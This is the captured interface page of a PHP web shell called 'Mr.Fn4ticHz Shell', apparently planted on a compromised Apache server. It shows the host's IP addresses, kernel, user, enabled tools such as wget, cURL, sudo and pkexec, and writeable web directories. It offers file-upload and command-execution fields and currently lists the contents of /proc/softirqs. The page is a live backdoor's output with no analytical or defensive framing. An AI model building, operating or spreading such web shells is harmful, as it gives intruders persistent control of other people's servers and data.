Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   18401092   21031342   28194409   32112858   26244827   26759831   27367445   26093323   43599190   40549368   26167271   24981213   23864635   20208339   33343610   61237531
      NET_TX:        202        179        213        241        187        218    1080949        210        288        265        198        197        202        177        267        198
      NET_RX:  271017280  310087500  210468287  241829748  245391400  277979421  254302971  282693185  236778847  335234220  281330352  253473931  287741592  255461762  262934939  231813651
       BLOCK:    2443488    2452863    2671513    2684080    3809747     130782    2828040    2577273    2578778    2788367    2670849    2614074    2602304    2577867    6213980    6828096
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:         17    1638855     893640    1605406          8    1598896          4    1616445          3    1602310    1620284          5    1617568          4    1639331         11
       SCHED:   93777923   67047193   72709070   70417515   66475992   67130594   68687826   65529423   83738734  276947229   65856982   66871120   64502203   60622300   83683236  117072258
     HRTIMER:          0        105          0          0          0         17          1         13          0        147        225          0          4          0         13          2
         RCU:   51409260   60408961   60024347   63723035   60890890   61626905   62784963   60469306   74695233  250654117   60725564   61602458   59538318   56127334   74878867  100583271

Mr.F4ticHz - 2022
Mr.Fn4tcHzam